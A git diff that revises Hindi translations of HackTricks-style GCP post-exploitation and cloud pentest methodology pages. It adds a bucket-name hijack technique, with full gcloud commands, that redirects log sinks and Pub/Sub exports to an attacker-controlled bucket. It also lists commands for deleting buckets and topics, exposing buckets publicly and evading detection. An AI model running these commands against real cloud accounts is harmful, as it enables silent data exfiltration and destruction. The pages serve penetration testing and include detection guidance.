+यह तब उपयोगी है जब compromised principal के पास destructive storage permissions जैसे `storage.buckets.delete`, `storage.objects.delete`, और `storage.objects.list` हों, लेकिन `logging.sinks.update` न हो।
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**संभावित प्रभाव:** future audit logs, application logs, security telemetry, और sink filter से matched किसी भी अन्य events का silent long-term exfiltration।
+
+**Detection & Mitigation:** active sinks द्वारा referenced buckets के deletion पर alert करें, dangling bucket names के लिए sink destinations की inventory बनाएं, logging destinations पर `storage.buckets.delete` को restrict करें, और जहां संभव हो export buckets को retention/hold controls से protect करें।
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index f13e7b4e3..f2300d2e9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -1,10 +1,10 @@
-# GCP - Pub/Sub Post Exploitation
+# GCP - Pub/Sub पोस्ट-एक्सप्लॉइटेशन
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Pub/Sub
 
-Pub/Sub के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
+Pub/Sub के बारे में अधिक जानकारी के लिए निम्न पेज देखें:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Pub/Sub के बारे में अधिक जानकारी के
 
 ### `pubsub.topics.publish`
 
-किसी topic में संदेश प्रकाशित करना, उपयोगी है **अनपेक्षित डेटा भेजने** और अनपेक्षित कार्यक्षमताओं को ट्रिगर करने या exploit vulnerabilities:
+किसी topic में एक message publish करें, **unexpected data भेजने** और unexpected functionalities को trigger करने या vulnerabilities exploit करने के लिए उपयोगी:
 
 <details>
 
-<summary>topic पर संदेश प्रकाशित करें</summary>
+<summary>topic में message publish करें</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-यह subscription को संदेश प्राप्त करने से रोकने में उपयोगी है, शायद पहचान से बचने के लिए।
+किसी subscription को messages प्राप्त करने से रोकने के लिए उपयोगी, शायद detection से बचने के लिए।
 
 <details>
 
-<summary>subscription को topic से detach करें</summary>
+<summary>Topic से subscription detach करें</summary>
 ```bash
 gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 ```
@@ -37,8 +37,8 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-किसी subscription को संदेश प्राप्त करने से रोकने के लिए उपयोगी, संभवतः पहचान से बचने के लिए।\
-यह संभव है कि किसी topic को delete कर दिया जाए, भले ही उसके साथ subscriptions जुड़ी हों।
+सदस्यता को संदेश प्राप्त करने से रोकने के लिए उपयोगी, शायद detection से बचने के लिए।\
+subscriptions जुड़े होने पर भी topic को delete करना संभव है।
 
 <details>
 
@@ -50,11 +50,11 @@ gcloud pubsub topics delete <TOPIC NAME>
 
 ### `pubsub.topics.update`
 
-इस अनुमति का उपयोग topic की किसी सेटिंग को बदलकर उसे बाधित करने के लिए करें, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
+इस permission का उपयोग topic की कुछ settings को update करने के लिए करें ताकि उसे disrupt किया जा सके, जैसे `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
 
 ### `pubsub.topics.setIamPolicy`
 
-खुद को अनुमति दें ताकि आप पहले बताए गए किसी भी attacks कर सकें।
+पिछले attacks में से किसी को भी perform करने के लिए खुद को permission दें.
 ```bash
 # Add Binding
 gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
@@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
 ```
 ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
 
-वेब सर्वर में सभी संदेश प्राप्त करें:
+वेब सर्वर में सभी messages प्राप्त करें:
 
 <details>
 
-<summary>संदेश प्राप्त करने के लिए push subscription बनाएँ</summary>
+<summary>messages प्राप्त करने के लिए push subscription बनाएं</summary>
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
 </details>
 
-एक subscription बनाएं और इसका उपयोग **pull messages** प्राप्त करने के लिए करें:
+एक subscription बनाएं और इसका उपयोग करके **pull messages** करें:
 
 <details>
 
-<summary>एक pull subscription बनाएं और messages प्राप्त करें</summary>
+<summary>Create pull subscription and retrieve messages</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**सब्सक्रिप्शन हटाना** लॉग प्रोसेसिंग सिस्टम या किसी समान चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
+**एक subscription को delete करना** एक log processing system या इसी तरह की किसी चीज़ को बाधित करने के लिए उपयोगी हो सकता है:
 
 <details>
 
-<summary>सब्सक्रिप्शन हटाएं</summary>
+<summary>Delete subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-इस अनुमति का उपयोग कुछ सेटिंग अपडेट करने के लिए करें ताकि संदेश उन स्थानों पर संग्रहीत हों जहाँ आप पहुँच सकते हैं (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
+इस अनुमति का उपयोग किसी सेटिंग को अपडेट करने के लिए करें ताकि संदेश ऐसे स्थान पर संग्रहीत हों जहाँ आप पहुँच सकें (URL, Big Query table, Bucket) या बस इसे बाधित करने के लिए।
 
 <details>
 
-<summary>सब्सक्रिप्शन एंडपॉइंट अपडेट करें</summary>
+<summary>Update subscription endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
+
+Pub/Sub subscriptions Cloud Storage buckets में delivered messages लिख सकती हैं। अगर कोई subscription `gs://<bucket-name>` की ओर pointing रखती है और attacker उस bucket को delete कर सकता है, तो attacker वही globally-unique bucket name किसी दूसरे project में फिर से create कर सकता है और subscription बदले बिना future messages receive कर सकता है।
+
+यह तब valuable हो सकता है जब attacker `pubsub.subscriptions.update` का उपयोग नहीं कर सकता, लेकिन destination bucket को `storage.buckets.delete`, `storage.objects.delete`, और `storage.objects.list` जैसी permissions के साथ delete कर सकता है।
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** Cloud Storage में archive किए गए future Pub/Sub messages की exfiltration, जिसमें application events, failed pipeline payloads, logs, या data lake ingestion records शामिल हैं।
+
+**Detection & Mitigation:** Pub/Sub subscriptions द्वारा उपयोग किए जाने वाले buckets के deletion पर alert करें, `cloudStorageConfig` वाली subscriptions review करें, delivery errors के बाद bucket recreation पर ध्यान दें, और message archival buckets पर destructive access सीमित करें।
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-खुद को वे permissions दें जो पहले बताए गए किसी भी attack को अंजाम देने के लिए आवश्यक हैं।
+पहले comment किए गए किसी भी attack को perform करने के लिए आवश्यक permissions खुद को दें।
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-किसी schema को एक topic से attach करके यह सुनिश्चित करें कि messages उस schema को पूरा न करें और परिणामस्वरूप topic बाधित हो जाए।\
-यदि कोई schemas मौजूद नहीं हैं तो आपको एक बनानी पड़ सकती है।
+किसी topic पर schema attach करें ताकि messages उसे fulfil न करें और इसलिए topic disrupt हो जाए।\
+अगर कोई schema नहीं है, तो आपको एक create करना पड़ सकता है।
 
 <details>
 
-<summary>schema फ़ाइल बनाएँ और उसे topic से attach करें</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-यह ऐसा लग सकता है कि schema को delete करने से आप ऐसे messages भेज सकेंगे जो schema के अनुरूप नहीं हैं। हालांकि, क्योंकि schema हटाई जा चुकी होगी, कोई भी message वास्तव में topic के अंदर प्रवेश नहीं करेगा। इसलिए यह **बेकार** है:
+यह ऐसा लग सकता है कि schema को delete करने से आप ऐसे messages भेज पाएंगे जो schema को पूरा नहीं करते। हालांकि, schema delete हो जाने पर कोई भी message वास्तव में topic के अंदर enter नहीं करेगा। इसलिए यह **USELESS** है:
 
 <details>
 
-<summary>Delete schema (उपयोगी नहीं)</summary>
+<summary>Delete schema (not useful)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-खुद को वे permissions दें जो किसी भी पहले बताए गए हमलों को अंजाम देने के लिए आवश्यक हैं।
+पहले टिप्पणी किए गए किसी भी attack को perform करने के लिए आवश्यक permissions अपने लिए दें।
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-यह सभी unACKed messages का एक snapshot बनाएगा और उन्हें subscription में वापस डाल देगा। एक attacker के लिए बहुत उपयोगी नहीं है लेकिन यहाँ है:
+यह सभी unACKed messages का snapshot बनाएगा और उन्हें वापस subscription में डाल देगा। attacker के लिए बहुत उपयोगी नहीं, लेकिन यहाँ यह है:
 
 <details>
 
-<summary>Snapshot बनाएं और उस पर seek करें</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index d4689f114..605f0930e 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## Cloud Storage
 
-CLoud Storage के बारे में अधिक जानकारी के लिए इस पेज को देखें:
+Cloud Storage के बारे में अधिक जानकारी के लिए यह पेज देखें:
 
 {{#ref}}
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### सार्वजनिक पहुँच दें
+### Give Public Access
 
-बाहरी उपयोगकर्ताओं (चाहे वे GCP में लॉग इन हों या नहीं) को bucket की सामग्री तक पहुँच देना संभव है। हालाँकि, डिफ़ॉल्ट रूप से bucket को सार्वजनिक रूप से एक्सपोज़ करने का विकल्प अक्षम होगा:
+external users (GCP में logged in हों या नहीं) को buckets content तक access देना संभव है। हालांकि, by default bucket में bucket को publicly expose करने का option disabled होगा:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,25 +25,57 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-यदि आप **ACLs to a bucket with disabled ACLs** देने की कोशिश करते हैं तो आपको यह त्रुटि मिलेगी: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+यदि आप **disabled ACLs वाले bucket** को **ACLs** देने की कोशिश करते हैं, तो आपको यह error मिलेगा: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-ब्राउज़र से खुले buckets तक पहुँचने के लिए, इस URL पर जाएँ `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>`
+Browser के जरिए open buckets तक access करने के लिए, URL `https://<bucket_name>.storage.googleapis.com/` या `https://<bucket_name>.storage.googleapis.com/<object_name>` access करें
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-किसी object को हटाने के लिए:
+किसी object को delete करने के लिए:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
 ### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
 
-बकेट हटाने के लिए:
+एक bucket को delete करने के लिए:
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### HMAC Keys को निष्क्रिय करें
+### अपस्ट्रीम writers का Global bucket name takeover
 
-`storage.hmacKeys.update` अनुमति HMAC keys को निष्क्रिय करने की अनुमति देती है, और `storage.hmacKeys.delete` अनुमति किसी identity को Cloud Storage में service accounts से जुड़े HMAC keys को हटाने की अनुमति देती है।
+Cloud Storage bucket names globally unique होते हैं। किसी bucket को delete करने से पहले, check करें कि क्या कोई automated service उस bucket में name से write करना जारी रखती है। अगर bucket delete कर दिया जाता है और उसी name को attacker-controlled project में recreate किया जाता है, तो upstream writers जैसे Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, या Storage Transfer Service jobs future data को replacement bucket में लिखना जारी रख सकते हैं।
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+यदि upstream service को इसकी आवश्यकता हो, तो संबंधित writer identity को replacement bucket तक access दें:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**संभावित प्रभाव:** मूल router resource को बदले बिना logs, messages, transfer outputs, backups, या data pipeline artifacts का long-term exfiltration।
+
+**Detection & Mitigation:** जब bucket sinks/subscriptions/jobs द्वारा reference किया गया हो, तब bucket deletion को high risk मानें, dangling destinations पर alert करें, `storage.buckets.delete` को restrict करें, और critical export buckets के लिए जहाँ उचित हो retention policies या legal holds का उपयोग करें।
+
+### Deactivate HMAC Keys
+
+`storage.hmacKeys.update` permission HMAC keys को disable करने की अनुमति देती है, और `storage.hmacKeys.delete` permission किसी identity को Cloud Storage में service accounts से जुड़े HMAC keys delete करने की अनुमति देती है।
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,19 +84,19 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
-`storage.buckets.setIpFilter` permission, साथ ही `storage.buckets.update` permission, किसी identity को Cloud Storage bucket पर IP address फ़िल्टर कॉन्फ़िगर करने की अनुमति देते हैं, जिससे यह निर्दिष्ट किया जा सके कि कौन से IP रेंज या पते bucket के resources तक पहुँच सकते हैं।
+`storage.buckets.setIpFilter` permission, `storage.buckets.update` permission के साथ, एक identity को Cloud Storage bucket पर IP address filters configure करने की अनुमति देता है, जिससे यह specify किया जा सकता है कि कौन-से IP ranges या addresses bucket के resources तक access कर सकते हैं।
 
-IP फ़िल्टर को पूरी तरह साफ़ करने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:
+IP filter को पूरी तरह clear करने के लिए, निम्न command का उपयोग किया जा सकता है:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-फ़िल्टर किए गए IPs को बदलने के लिए, निम्नलिखित कमांड का उपयोग किया जा सकता है:
+फ़िल्टर किए गए IPs को बदलने के लिए, निम्नलिखित command का उपयोग किया जा सकता है:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
 --project=<PROJECT_ID>
 ```
-JSON फ़ाइल स्वयं फ़िल्टर का प्रतिनिधित्व करती है, कुछ ऐसा:
+JSON फ़ाइल filter को ही represent करती है, कुछ इस तरह:
 ```bash
 {
 "mode": "Enabled",
@@ -76,7 +108,7 @@ JSON फ़ाइल स्वयं फ़िल्टर का प्रत
 }
 ```
 ### `storage.buckets.restore`
-बकेट को पुनर्स्थापित करने के लिए उपयोग करें:
+एक bucket को restore करने के लिए उपयोग करें:
 ```bash
 gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
 --project=<PROJECT_ID>
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 6b5b0e237..0073102f2 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -6,39 +6,65 @@
 
 ## Basic Methodology
 
-Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
+हर cloud की अपनी peculiarities होती हैं, लेकिन सामान्य तौर पर cloud environment test करते समय एक pentester को कुछ **common चीज़ें check** करनी चाहिए:
 
 - **Benchmark checks**
-- यह आपको वातावरण का आकार और उपयोग की जाने वाली सेवाओं को समझने में मदद करेगा
-- यह आपको कुछ त्वरित misconfigurations खोजने में भी सक्षम करेगा क्योंकि आप इन परीक्षणों में से अधिकांश **automated tools** के साथ कर सकते हैं
+- इससे आपको environment का **size समझने** और **services used** जानने में मदद मिलेगी
+- इससे आप कुछ **quick misconfigurations** भी ढूँढ पाएँगे, क्योंकि आप इन tests में से ज़्यादातर **automated tools** से कर सकते हैं
 - **Services Enumeration**
-- यदि आपने सही तरीके से benchmark tests किए हैं तो आप शायद यहाँ ज्यादा misconfigurations नहीं पाएँगे, लेकिन ऐसे कुछ मिल सकते हैं जिनकी benchmark टेस्ट में तलाश नहीं की जा रही थी।
-- इससे आपको पता चलेगा कि क्लाउड env में वास्तव में क्या इस्तेमाल हो रहा है
-- यह अगले चरणों में बहुत मदद करेगा
+- अगर आपने benchmark tests सही तरीके से किए हैं, तो यहाँ शायद आपको बहुत ज़्यादा misconfigurations नहीं मिलेंगी, लेकिन कुछ ऐसी मिल सकती हैं जिनकी benchmark test में तलाश नहीं की गई थी।
+- इससे आपको यह पता चलेगा कि cloud env में **exactly क्या use** किया जा रहा है
+- यह अगले steps में बहुत मदद करेगा
 - **Check exposed assets**
-- यह पिछले सेक्शन के दौरान किया जा सकता है, आपको यह पता लगाना होगा कि इंटरनेट के लिए किस चीज़ की संभावित रूप से एक्सपोज़र है और उसे कैसे एक्सेस किया जा सकता है।
-- यहाँ मैं मैन्युअली एक्सपोज़ की गई infrastructure जैसे instances जिनमें web pages या अन्य पोर्ट एक्सपोज़ हैं, और साथ ही अन्य cloud managed services जिनको एक्सपोज़ होने के लिए configure किया जा सकता है (जैसे DBs या buckets) ले रहा हूँ
-- फिर आपको यह जांचना चाहिए कि **क्या उस resource को एक्सपोज़ किया जा सकता है या नहीं** (गोपनीय जानकारी? vulnerabilities? exposed service में misconfigurations?)
+- यह पिछले section के दौरान भी किया जा सकता है, आपको यह **पता लगाना होगा कि क्या-क्या potentially exposed** है Internet पर किसी तरह और उस तक कैसे पहुँचा जा सकता है।
+- यहाँ मैं **manually exposed infrastructure** जैसे instances जिनमें web pages या अन्य ports exposed हों, और साथ ही **other cloud managed services** की बात कर रहा हूँ जिन्हें exposed करने के लिए configure किया जा सकता है (जैसे DBs या buckets)
+- फिर आपको check करना चाहिए कि **क्या वह resource exposed हो सकता है या नहीं** (confidential information? vulnerabilities? exposed service में misconfigurations?)
 - **Check permissions**
-- यहाँ आपको cloud के अंदर प्रत्येक role/user के सभी permissions और उनका उपयोग कैसे हो रहा है यह पता लगाना चाहिए
-- बहुत सारे highly privileged (control everything) accounts? Generated keys का प्रयोग नहीं हो रहा?... इनमे से अधिकांश चेक पहले से benchmark tests में किए जा चुके होने चाहिए थे
-- यदि client OpenID या SAML या कोई अन्य federation उपयोग कर रहा है तो आपको उनसे पूछना पड़ सकता है कि **प्रत्येक role कैसे assign किया जा रहा है** (यह एक ही नहीं है कि admin role 1 user को assign है या 100 को)
-- यह सिर्फ यही जानना पर्याप्त नहीं है कि किस user के पास **admin** permissions "\*:\*". हैं। बहुत सारी अन्य permissions हैं जो उपयोग की जा रही सेवाओं के आधार पर बहुत **सेंसिटिव** हो सकती हैं।
-- इसके अलावा, permissions का दुरुपयोग करके अनुसरण करने के लिए संभावित privesc तरीके होते हैं। इन सभी चीजों को ध्यान में रखना चाहिए और जितने संभव हों उतने privesc paths रिपोर्ट किए जाने चाहिए।
+- यहाँ आपको cloud के अंदर हर role/user की सभी permissions और उनका उपयोग कैसे होता है, यह **पता लगाना चाहिए**
+- बहुत **ज़्यादा highly privileged** (control everything) accounts? Generated keys unused?... इन checks में से ज़्यादातर benchmark tests में पहले ही हो जाने चाहिए
+- अगर client OpenID या SAML या किसी अन्य **federation** का उपयोग कर रहा है, तो आपको उनसे **additional information** माँगनी पड़ सकती है कि **हर role कैसे assign होता है** (यह same नहीं है कि admin role 1 user को assign हो या 100 को)
+- सिर्फ यह ढूँढ लेना **काफी नहीं** है कि किन users के पास **admin** permissions "\*:\*" हैं। बहुत सारी **other permissions** भी होती हैं जो इस्तेमाल की जा रही services पर निर्भर करके बहुत **sensitive** हो सकती हैं।
+- इसके अलावा, permissions का abuse करके **potential privesc** तरीके भी हो सकते हैं। इन सभी चीज़ों को ध्यान में रखना चाहिए और **जितने संभव हो उतने privesc paths** report करने चाहिए।
 - **Check Integrations**
-- बहुत संभव है कि क्लाउड env के अंदर अन्य clouds या SaaS के साथ integrations इस्तेमाल किए जा रहे हों।
-- जिस cloud की आप auditing कर रहे हैं उसकी **other platform** के साथ integrations के लिए आपको notify करना चाहिए कि **कौन उस integration को (ab)use करने का access रखता है** और आपको पूछना चाहिए कि की जा रही action कितनी **सेंसिटिव** है।\
+- यह highly probably है कि cloud env के अंदर **other clouds or SaaS** के साथ integrations use हो रहे हैं।
+- जिन integrations का audit किया जा रहा cloud के साथ **other platform** से संबंध है, उनके लिए आपको notify करना चाहिए कि **उस integration का (ab)use करने की access किसके पास है** और आपको पूछना चाहिए कि की जा रही action **कितनी sensitive** है।\
 For example, who can write in an AWS bucket where GCP is getting data from (ask how sensitive is the action in GCP treating that data).
-- जिन integrations का स्रोत external platforms हैं और जो cloud आप audit कर रहे हैं के अंदर उपयोग हो रहे हैं, उनके लिए आपको पूछना चाहिए कि **externally किसके पास उस integration को (ab)use करने का access है** और यह जाँचना चाहिए कि वह डेटा कैसे उपयोग किया जा रहा है।\
+- जिन integrations का audit किया जा रहा cloud के अंदर **external platforms** से संबंध है, उनके लिए आपको पूछना चाहिए कि **external रूप से उस integration का (ab)use करने की access किसके पास है** और check करना चाहिए कि वह data कैसे use हो रहा है।\
 For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
 
+### Hunt autonomous data streams writing to globally-unique storage
+
+During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
+
+Focus this check in the relevant service pages:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
+
 ## Multi-Cloud tools
 
-There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
+Different cloud environments को test करने के लिए कई tools हैं। installation steps और links इस section में बताए गए हैं।
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
+एक tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-यह **AWS, GCP & Azure** को सपोर्ट करता है। प्रत्येक प्रदाता को कॉन्फ़िगर करने का तरीका देखें: [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+यह **AWS, GCP & Azure** को सपोर्ट करता है। हर provider को कैसे configure करना है, इसके लिए [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) देखें
 ```bash
 # Install
 pip install prowler
@@ -146,7 +172,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Steampipe डाउनलोड और इंस्टॉल करें ([https://steampipe.io/downloads](https://steampipe.io/downloads)). या Brew का उपयोग करें:
+Steampipe डाउनलोड करें और इंस्टॉल करें ([https://steampipe.io/downloads](https://steampipe.io/downloads)). या Brew का उपयोग करें:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>सभी प्रोजेक्ट्स की जाँच करें</summary>
+<summary>सभी Projects देखें</summary>
 
-सभी प्रोजेक्ट्स की जाँच करने के लिए आपको उन सभी प्रोजेक्ट्स को इंगित करने वाली `gcp.spc` फ़ाइल जनरेट करनी होगी जिन्हें टेस्ट करना है। आप निम्नलिखित स्क्रिप्ट में दिए निर्देशों का पालन कर सकते हैं।
+सभी projects की जांच करने के लिए आपको `gcp.spc` file generate करनी होगी, जिसमें test करने के लिए सभी projects indicated हों। आप बस निम्न script के निर्देशों का पालन कर सकते हैं
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,9 +220,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-देखने के लिए **अन्य GCP insights** (सेवाओं को सूचीबद्ध करने के लिए उपयोगी) उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+अन्य **GCP insights** की जांच करने के लिए (services को enumerate करने में useful) उपयोग करें: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Terraform GCP code देखने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Terraform GCP code की जांच करने के लिए: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
 Steampipe के और GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
